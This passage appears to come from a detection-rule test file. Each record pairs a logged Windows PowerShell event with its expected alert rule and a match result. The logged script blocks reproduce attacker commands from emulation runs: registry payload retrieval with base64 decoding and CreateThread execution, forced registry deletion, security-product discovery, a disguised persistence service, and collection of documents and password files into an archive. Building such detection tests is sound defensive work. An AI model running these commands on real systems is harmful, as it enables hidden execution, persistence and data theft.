"win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91807", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Get-ItemProperty query"} +{"log": "{\"win\":{\"eventdata\":{\"path\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\LanCradDriver.ps1\",\"messageNumber\":\"1\",\"messageTotal\":\"1\",\"scriptBlockText\":\"$Payload = (Get-ItemProperty -Path HKCU:\\\\\\\\Software\\\\\\\\InternetExplorer\\\\\\\\AppDataLow\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\InternetExplorer).'{018247B2CAC14652E}'\",\"scriptBlockId\":\"95af64d2-0002-4dd7-a150-d3dad1009afa\"},\"system\":{\"eventID\":\"4104\",\"keywords\":\"0x0\",\"providerGuid\":\"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\",\"level\":\"3\",\"channel\":\"Microsoft-Windows-PowerShell/Operational\",\"opcode\":\"15\",\"message\":\"$Payload = (Get-ItemProperty -Path HKCU:\\\\\\\\Software\\\\\\\\InternetExplorer\\\\\\\\AppDataLow\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\InternetExplorer).'{018247B2CAC14652E}'\",\"version\":\"1\",\"systemTime\":\"2021-08-13T22:21:37.5045856Z\",\"eventRecordID\":\"96584\",\"threadID\":\"7128\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"2\",\"processID\":\"904\",\"severityValue\":\"WARNING\",\"providerName\":\"Microsoft-Windows-PowerShell\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.path": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\LanCradDriver.ps1", "win.eventdata.scriptBlockId": "95af64d2-0002-4dd7-a150-d3dad1009afa", "win.eventdata.scriptBlockText": "$Payload = (Get-ItemProperty -Path HKCU:\\\\Software\\\\InternetExplorer\\\\AppDataLow\\\\Software\\\\Microsoft\\\\InternetExplorer).'{018247B2CAC14652E}'", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4104", "win.system.eventRecordID": "96584", "win.system.keywords": "0x0", "win.system.level": "3", "win.system.message": "$Payload = (Get-ItemProperty -Path HKCU:\\\\Software\\\\InternetExplorer\\\\AppDataLow\\\\Software\\\\Microsoft\\\\InternetExplorer).'{018247B2CAC14652E}'", "win.system.opcode": "15", "win.system.processID": "904", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "WARNING", "win.system.systemTime": "2021-08-13T22:21:37.5045856Z", "win.system.task": "2", "win.system.threadID": "7128", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.path", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91808", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Get-ItemProperty query registry"} +{"log": "{\"win\":{\"eventdata\":{\"path\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\LanCradDriver.ps1\",\"messageNumber\":\"1\",\"messageTotal\":\"1\",\"scriptBlockText\":\"$bytes = [System.Convert]::FromBase64String($Payload)\",\"scriptBlockId\":\"95af64d2-0002-4dd7-a150-d3dad1009afa\"},\"system\":{\"eventID\":\"4104\",\"keywords\":\"0x0\",\"providerGuid\":\"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\",\"level\":\"3\",\"channel\":\"Microsoft-Windows-PowerShell/Operational\",\"opcode\":\"15\",\"message\":\"$bytes = [System.Convert]::FromBase64String($Payload)\",\"version\":\"1\",\"systemTime\":\"2021-08-13T22:21:37.5045856Z\",\"eventRecordID\":\"96584\",\"threadID\":\"7128\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"2\",\"processID\":\"904\",\"severityValue\":\"WARNING\",\"providerName\":\"Microsoft-Windows-PowerShell\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.path": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\LanCradDriver.ps1", "win.eventdata.scriptBlockId": "95af64d2-0002-4dd7-a150-d3dad1009afa", "win.eventdata.scriptBlockText": "$bytes = [System.Convert]::FromBase64String($Payload)", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4104", "win.system.eventRecordID": "96584", "win.system.keywords": "0x0", "win.system.level": "3", "win.system.message": "$bytes = [System.Convert]::FromBase64String($Payload)", "win.system.opcode": "15", "win.system.processID": "904", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "WARNING", "win.system.systemTime": "2021-08-13T22:21:37.5045856Z", "win.system.task": "2", "win.system.threadID": "7128", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.path", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91809", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Base64 decode from scriptblock"} +{"log": "{\"win\":{\"eventdata\":{\"path\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\LanCradDriver.ps1\",\"messageNumber\":\"1\",\"messageTotal\":\"1\",\"scriptBlockText\":\"$WinObj::CreateThread(0,0,$WinMem,0,0,0)\",\"scriptBlockId\":\"95af64d2-0002-4dd7-a150-d3dad1009afa\"},\"system\":{\"eventID\":\"4104\",\"keywords\":\"0x0\",\"providerGuid\":\"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\",\"level\":\"3\",\"channel\":\"Microsoft-Windows-PowerShell/Operational\",\"opcode\":\"15\",\"message\":\"$WinObj::CreateThread(0,0,$WinMem,0,0,0)\",\"version\":\"1\",\"systemTime\":\"2021-08-13T22:21:37.5045856Z\",\"eventRecordID\":\"96584\",\"threadID\":\"7128\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"2\",\"processID\":\"904\",\"severityValue\":\"WARNING\",\"providerName\":\"Microsoft-Windows-PowerShell\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.path": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\LanCradDriver.ps1", "win.eventdata.scriptBlockId": "95af64d2-0002-4dd7-a150-d3dad1009afa", "win.eventdata.scriptBlockText": "$WinObj::CreateThread(0,0,$WinMem,0,0,0)", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4104", "win.system.eventRecordID": "96584", "win.system.keywords": "0x0", "win.system.level": "3", "win.system.message": "$WinObj::CreateThread(0,0,$WinMem,0,0,0)", "win.system.opcode": "15", "win.system.processID": "904", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "WARNING", "win.system.systemTime": "2021-08-13T22:21:37.5045856Z", "win.system.task": "2", "win.system.threadID": "7128", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.path", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91810", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "CreateThread API execution"} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"Expand-Archive -LiteralPath \\\\\\\"$env:USERPROFILE\\\\\\\\Downloads\\\\\\\\SysinternalsSuite.zip\\\\\\\" -DestinationPath \\\\\\\"$env:USERPROFILE\\\\\\\\Downloads\\\\\\\\SysinternalsSuite\\\\\\\\\\\\\\\"\", \"scriptBlockId\": \"6f67fff0-7f00-4b9e-8de7-a7749cf7c4f5\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\nExpand-Archive -LiteralPath \\\"$env:USERPROFILE\\\\Downloads\\\\SysinternalsSuite.zip\\\" -DestinationPath \\\"$env:USERPROFILE\\\\Downloads\\\\SysinternalsSuite\\\\\\\"\\r\\n\\r\\nScriptBlock ID: 6f67fff0-7f00-4b9e-8de7-a7749cf7c4f5\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-10-20T19:20:23.7594447Z\", \"eventRecordID\": \"1216582\", \"threadID\": \"440\", \"computer\": \"Workstation1.dc.local\", \"task\": \"2\", \"processID\": \"4308\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "6f67fff0-7f00-4b9e-8de7-a7749cf7c4f5", "win.eventdata.scriptBlockText": "Expand-Archive -LiteralPath \\\"$env:USERPROFILE\\\\Downloads\\\\SysinternalsSuite.zip\\\" -DestinationPath \\\"$env:USERPROFILE\\\\Downloads\\\\SysinternalsSuite\\\\\\\"", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "4104", "win.system.eventRecordID": "1216582", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "4308", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-10-20T19:20:23.7594447Z", "win.system.task": "2", "win.system.threadID": "440", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91811", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell script executed \"Expand-Archive\": $(win.eventdata.scriptBlockText)"} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"Remove-Item -Path HKCU:\\\\\\\\Software\\\\\\\\Classes\\\\\\\\Folder* -Recurse -Force\", \"scriptBlockId\": \"ea6dc896-b908-4ca4-8185-26306d02b344\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\nRemove-Item -Path HKCU:\\\\Software\\\\Classes\\\\Folder* -Recurse -Force\\r\\n\\r\\nScriptBlock ID: ea6dc896-b908-4ca4-8185-26306d02b344\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-10-22T13:24:41.9523235Z\", \"eventRecordID\": \"1454348\", \"threadID\": \"4652\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"2\", \"processID\": \"4080\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "ea6dc896-b908-4ca4-8185-26306d02b344", "win.eventdata.scriptBlockText": "Remove-Item -Path HKCU:\\\\Software\\\\Classes\\\\Folder* -Recurse -Force", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "4104", "win.system.eventRecordID": "1454348", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "4080", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-10-22T13:24:41.9523235Z", "win.system.task": "2", "win.system.threadID": "4652", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91814", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell script deleted a registry key from an object"} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"Get-Process\", \"scriptBlockId\": \"9c6b55b4-e9c5-4f65-84be-7fbf124f22ba\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\nGet-Process\\r\\n\\r\\nScriptBlock ID: 9c6b55b4-e9c5-4f65-84be-7fbf124f22ba\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-10-22T07:06:02.4654994Z\", \"eventRecordID\": \"1219837\", \"threadID\": \"6156\", \"computer\": \"Workstation1.dc.local\", \"task\": \"2\", \"processID\": \"5612\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "9c6b55b4-e9c5-4f65-84be-7fbf124f22ba", "win.eventdata.scriptBlockText": "Get-Process", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "4104", "win.system.eventRecordID": "1219837", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "5612", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-10-22T07:06:02.4654994Z", "win.system.task": "2", "win.system.threadID": "6156", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91815", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell executing process discovery"} +{"log": "{\"win\":{\"eventdata\":{\"path\":\"C:\\\\\\\\Program Files\\\\\\\\SysinternalsSuite\\\\\\\\readme.ps1\",\"messageNumber\":\"1\",\"messageTotal\":\"1\",\"scriptBlockText\":\"function Invoke-Discovery { $DiscoveryInfo =@() $CurrentDir = Get-Location $DiscoveryInfo += [PSCustomObject]@{ CurrentDirectory = $CurrentDir TempDirectory = $env:TEMP UserName = $env:USERNAME ComputerName = $env:COMPUTERNAME UserDomain = $env:USERDOMAIN CurrentPID = $PID } $DiscoveryInfo | Format-List $NameSpace = Get-WmiObject -Namespace \\\\\\\"root\\\\\\\" -Class \\\\\\\"__Namespace\\\\\\\" | Select Name | Out-String -Stream | Select-String \\\\\\\"SecurityCenter\\\\\\\" foreach ($SecurityCenter in $NameSpace) { Get-WmiObject -Namespace \\\\\\\"root\\\\\\\\$SecurityCenter\\\\\\\" -ErrorAction SilentlyContinue | Select DisplayName, InstanceGuid, PathToSignedProductExe, PathToSignedReportingExe, ProductState, Timestamp | Format-List WmiObject -Namespace \\\\\\\"root\\\\\\\\$SecurityCenter\\\\\\\" -Class FireWallProduct -ErrorAction SilentlyContinue | Select DisplayName, InstanceGuid, PathToSignedProductExe, PathToSignedReportingExe, ProductState, Timestamp | Format-List } Gwmi Win32_OperatingSystem | Select Name, OSArchitecture, CSName, BuildNumber, Version | Format-List Invoke-NetUserGetGroups Invoke-NetUserGetLocalGroups }\",\"scriptBlockId\":\"0cff31fd-3944-44fd-b87a-14207b838c3b\"},\"system\":{\"eventID\":\"4104\",\"keywords\":\"0x0\",\"providerGuid\":\"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\",\"level\":\"5\",\"channel\":\"Microsoft-Windows-PowerShell/Operational\",\"opcode\":\"15\",\"message\":\"\\\"Creating Scriptblock text (1 of 1):\\r\\nfunction Invoke-Discovery {\\r\\n $DiscoveryInfo =@()\\r\\n $CurrentDir = Get-Location\\r\\n\\r\\n $DiscoveryInfo += [PSCustomObject]@{\\r\\n CurrentDirectory = $CurrentDir\\r\\n TempDirectory = $env:TEMP\\r\\n UserName = $env:USERNAME\\r\\n ComputerName = $env:COMPUTERNAME\\r\\n UserDomain = $env:USERDOMAIN\\r\\n CurrentPID = $PID\\r\\n }\\r\\n\\r\\n $DiscoveryInfo | Format-List\\r\\n \\r\\n $NameSpace = Get-WmiObject -Namespace \\\"root\\\" -Class \\\"__Namespace\\\" | Select Name | Out-String -Stream | Select-String \\\"SecurityCenter\\\"\\r\\n foreach ($SecurityCenter in $NameSpace) { \\r\\n Get-WmiObject -Namespace \\\"root\\\\$SecurityCenter\\\" -ErrorAction SilentlyContinue | Select DisplayName, InstanceGuid, PathToSignedProductExe, PathToSignedReportingExe, ProductState, Timestamp | Format-List\\r\\n WmiObject -Namespace \\\"root\\\\$SecurityCenter\\\" -Class FireWallProduct -ErrorAction SilentlyContinue | Select DisplayName, InstanceGuid, PathToSignedProductExe, PathToSignedReportingExe, ProductState, Timestamp | Format-List \\r\\n } \\r\\n\\r\\n Gwmi Win32_OperatingSystem | Select Name, OSArchitecture, CSName, BuildNumber, Version | Format-List\\r\\n Invoke-NetUserGetGroups\\r\\n Invoke-NetUserGetLocalGroups\\r\\n}\\r\\n\\r\\nScriptBlock ID: 0cff31fd-3944-44fd-b87a-14207b838c3b\\r\\nPath: C:\\\\Program Files\\\\SysinternalsSuite\\\\readme.ps1\\\"\",\"version\":\"1\",\"systemTime\":\"2021-10-25T09:20:32.5187021Z\",\"eventRecordID\":\"1411669\",\"threadID\":\"3816\",\"computer\":\"Workstation1.dc.local\",\"task\":\"2\",\"processID\":\"6660\",\"severityValue\":\"VERBOSE\",\"providerName\":\"Microsoft-Windows-PowerShell\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.path": "C:\\\\Program Files\\\\SysinternalsSuite\\\\readme.ps1", "win.eventdata.scriptBlockId": "0cff31fd-3944-44fd-b87a-14207b838c3b", "win.eventdata.scriptBlockText": "function Invoke-Discovery { $DiscoveryInfo =@() $CurrentDir = Get-Location $DiscoveryInfo += [PSCustomObject]@{ CurrentDirectory = $CurrentDir TempDirectory = $env:TEMP UserName = $env:USERNAME ComputerName = $env:COMPUTERNAME UserDomain = $env:USERDOMAIN CurrentPID = $PID } $DiscoveryInfo | Format-List $NameSpace = Get-WmiObject -Namespace \\\"root\\\" -Class \\\"__Namespace\\\" | Select Name | Out-String -Stream | Select-String \\\"SecurityCenter\\\" foreach ($SecurityCenter in $NameSpace) { Get-WmiObject -Namespace \\\"root\\\\$SecurityCenter\\\" -ErrorAction SilentlyContinue | Select DisplayName, InstanceGuid, PathToSignedProductExe, PathToSignedReportingExe, ProductState, Timestamp | Format-List WmiObject -Namespace \\\"root\\\\$SecurityCenter\\\" -Class FireWallProduct -ErrorAction SilentlyContinue | Select DisplayName, InstanceGuid, PathToSignedProductExe, PathToSignedReportingExe, ProductState, Timestamp | Format-List } Gwmi Win32_OperatingSystem | Select Name, OSArchitecture, CSName, BuildNumber, Version | Format-List Invoke-NetUserGetGroups Invoke-NetUserGetLocalGroups }", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "4104", "win.system.eventRecordID": "1411669", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "6660", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-10-25T09:20:32.5187021Z", "win.system.task": "2", "win.system.threadID": "3816", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.path", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "91816", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell script querying system environment variables"} +{"log": "{\"win\":{\"eventdata\":{\"path\":\"C:\\\\\\\\Program Files\\\\\\\\SysinternalsSuite\\\\\\\\readme.ps1\",\"messageNumber\":\"3\",\"messageTotal\":\"4\",\"scriptBlockText\":\" # create new service New-Service -Name \\\\\\\"javamtsup\\\\\\\" -BinaryPathName \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\javamtsup.exe\\\\\\\" -DisplayName \\\\\\\"Java(TM) Virtual Machine Support Service\\\\\\\" -StartupType Automatic } \",\"scriptBlockId\":\"040c2fc8-4a6c-45b1-ad8d-edb86ddef55c\"},\"system\":{\"eventID\":\"4104\",\"keywords\":\"0x0\",\"providerGuid\":\"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\",\"level\":\"3\",\"channel\":\"Microsoft-Windows-PowerShell/Operational\",\"opcode\":\"15\",\"message\":\"\\\"Creating Scriptblock text (3 of 4): New-Service -Name \\\"javamtsup\\\" -BinaryPathName \\\"C:\\\\Windows\\\\System32\\\\javamtsup.exe\\\" -DisplayName \\\"Java(TM) Virtual Machine Support Service\\\" -StartupType Automatic\\n\\n }\\n \",\"version\":\"1\",\"systemTime\":\"2021-10-25T20:41:42.7660456Z\",\"eventRecordID\":\"96690\",\"threadID\":\"5564\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"2\",\"processID\":\"6964\",\"severityValue\":\"WARNING\",\"providerName\":\"Microsoft-Windows-PowerShell\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "3", "win.eventdata.messageTotal": "4", "win.eventdata.path": "C:\\\\Program Files\\\\SysinternalsSuite\\\\readme.ps1", "win.eventdata.scriptBlockId": "040c2fc8-4a6c-45b1-ad8d-edb86ddef55c", "win.eventdata.scriptBlockText": " # create new service New-Service -Name \\\"javamtsup\\\" -BinaryPathName \\\"C:\\\\Windows\\\\System32\\\\javamtsup.exe\\\" -DisplayName \\\"Java(TM) Virtual Machine Support Service\\\" -StartupType Automatic } ", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4104", "win.system.eventRecordID": "96690", "win.system.keywords": "0x0", "win.system.level": "3", "win.system.opcode": "15", "win.system.processID": "6964", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "WARNING", "win.system.systemTime": "2021-10-25T20:41:42.7660456Z", "win.system.task": "2", "win.system.threadID": "5564", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.path", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91818", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell script executed New-Service command"} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"$env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\\\\\\\\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*admin*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\\\\\\\\working.zip -Force\", \"scriptBlockId\": \"d63208a1-c4c7-4d1b-ac00-378952568ae7\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\n$env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\\\\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*admin*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\\\\working.zip -Force\\r\\n\\r\\nScriptBlock ID: d63208a1-c4c7-4d1b-ac00-378952568ae7\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-10-27T10:47:51.2128285Z\", \"eventRecordID\": \"1558\", \"threadID\": \"3724\", \"computer\": \"apt29w2.xrisbarney.local\", \"task\": \"2\", \"processID\": \"3976\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "d63208a1-c4c7-4d1b-ac00-378952568ae7", "win.eventdata.scriptBlockText": "$env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\\\\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*admin*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\\\\working.zip -Force", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "apt29w2.xrisbarney.local", "win.system.eventID": "4104", "win.system.eventRecordID": "1558", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "3976", "win.system.providerGuid": 